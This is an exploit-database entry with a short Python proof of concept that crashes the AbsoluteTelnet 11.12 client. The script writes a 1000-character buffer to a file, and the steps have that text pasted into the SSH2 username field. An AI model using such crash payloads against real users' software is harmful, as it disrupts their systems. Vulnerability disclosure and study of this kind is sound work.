AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)

Author: chuyreds
type: dos
platform: windows
port: 
date_added: 2020-02-06 
date_updated: 2020-02-06 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 2020-02-05
# Vendor Homepage: https://www.celestialsoftware.net/
# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe
# Tested Version: 11.12
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py
#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard
#3.- Open AbsoluteTelnet
#4.- Select "new connection file", "Connection", "SSH2", "Use last username"
#5.- In "username" field paste Clipboard
#6.- Select "OK"
#7.- Crashed

buffer = "\x41" * 1000
f = open ("absolutetelnet_username_SSH2.txt", "w")
f.write(buffer)
f.close()